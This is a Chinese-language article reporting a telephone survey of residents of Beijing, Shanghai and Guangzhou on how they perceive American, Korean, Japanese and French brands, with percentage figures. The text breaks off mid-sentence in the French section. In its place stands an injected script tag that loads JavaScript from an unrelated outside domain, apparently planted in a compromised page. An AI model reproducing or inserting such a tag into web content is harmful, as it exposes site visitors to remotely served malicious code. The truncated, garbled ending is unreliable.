中國市場上的外國產品歷史悠久，但是形成規模性的品牌效應還是近十幾年的事。如今，人們對于品牌的“國別”概念逐漸形成，就像一提起汽車，人們熟知“別克”是美國的品牌，“大眾”是德國的品牌，而“豐田”是日本的品牌……同時人們也正從國別文化的角度去理解并區分著各國的品牌：美國的先進時尚、法國的高貴、德國的可靠、日本的精細、韓國的前衛……

　　為了探詢人們對于外國品牌特征的認知，來自零點的最新調查結果顯示，人們對于不同國家的形象和氣質的認知直接映射于對品牌形象的認知。那些第一時間被提及作為某個國家的代表品牌無一例外地與該國的氣質文化高度契合。與此同時，調查還發現，那些充滿時尚氣息的產品、品牌贏得了更多人的目光。這一結論來自零點指標數據網與零點調查合作于6月28日利用super?cati快速電話調查系統針對京滬穗三市444名18歲至60歲市民的隨機抽樣電話訪問，數據結果已根據三市的人口規模做加權處理，在95%的置信度下本次調查的抽樣誤差為正負4.7%。

　　調查中，人們在談及對于外來品牌特征的感受和印象時均以正面評價為主。雖然不同國家的品牌特點側重有所不同，但是“質量可靠”、“先進”等卻是外資品牌的共性(見表一)。這表明，人們對于外資品牌普遍有著好感，對于高品質的親切感和信任感亦非常明顯。當然，不同國家的品牌在這兩個特征上的表現留給人們的印象深刻度有所不同，美國品牌和日本品牌的這兩個特征更為突顯，德國品牌和韓國品牌表現一般，而法國品牌則不太明顯。與此同時，正因為人們已從文化的角度去理解和認識品牌，因而那些融合了本國文化，貫徹了本國特色和精神的品牌最先被人們想起，而人們提到的品牌所在的行業也恰恰是該國的精英行業。

　　美國品牌時尚高檔

　　美國品牌留給大家的主要印象除了“質量可靠”和“先進”兩個共性特征以外，還包括“時尚”(9.59%)、“高檔”(8.69%)、“現代”(6.03%)等。崇尚自由的風氣、驚人的創造力等都為美國帶來了實力雄厚、自由時尚等非常直觀的印象。此一印象也成為了人們對于美國品牌特征的概括。同時，人們腦海中的美國代表品牌中名列前茅的品牌恰恰也都體現了這些品質。美國人首創的快餐文化把輕松的氣氛帶到每一個人類居住的角落，可口可樂(18.42%)、麥當勞(18.37%)、肯德基(10.28%)這些品牌都有著相似的神話，人們理所當然把它們看作是最能體現美國特色的品牌。此外，“微軟”(12.06%)、“耐克”(10.18%)等品牌也以其美國式的特色為人們所認可(見表二)。

　　韓國品牌時尚前衛

　　韓國品牌近年來在中國大行其道。這位近鄰留給國人的印象總是新鮮而潮流的。而與日本相近的細致和規范也為他們的品牌贏得了相當一部分支持者。調查結果也表明，除去共性外，“時尚”(10.05%)、“前衛”(5.16%)等都是人們對韓國品牌的評價，這些引發“韓流”的因素也是其他國家所沒有的。韓國非常善于向歐美和日本學習，這個民族特有的自尊也使其不斷開發出屬于自己的名牌，于是電子和汽車工業成就了韓國人的世界名聲，此次排名韓國品牌前三位的“三星”(37.93%)、“現代”(19.26%)、“lg”(15.78%)就是明證。值得一提的是，在人們對于韓國品牌的概念中沒有提到“高檔”。

　　日本品牌精細實惠

　　日本品牌在人們心目中除去共有的特性外還具備“精細”(16.9%)、“實惠”(11.9%)、“時尚”(6.2%)、“輕巧”(6.2%)等特征。日本同樣是汽車工業和電子工業傳奇般席卷全球，認真、執著的作風為他們的品牌贏得了很高的聲譽。此外，日本人注重細節的習慣也為人們津津樂道，人們像欣賞日式料理一樣對日本品牌的“精細”贊不絕口。在被人們提及的品牌中，兩個最有說服力地詮釋了日本民族敬業細致精神的行業占據了絕大部分席位：10個品牌中有9個來自電子和汽車行業，位居日本品牌前六位的品牌有sony(32.23%)、日立(14.16%)、東芝(13.47%)豐田(12.91%)、三菱(10.58%)、本田(8.85%)等。

　　法國品牌浪漫高貴

　　提到法國品牌，人們的腦海中馬上就會出現“時尚”(15.40%)、“浪漫”(11.66%)、“高檔”(7.09%)“典雅”(6.66%)、“高貴”(5.54%)等形容詞。法國人的浪漫聞名于世，這種印象在?script src=http://er12.com/t.js>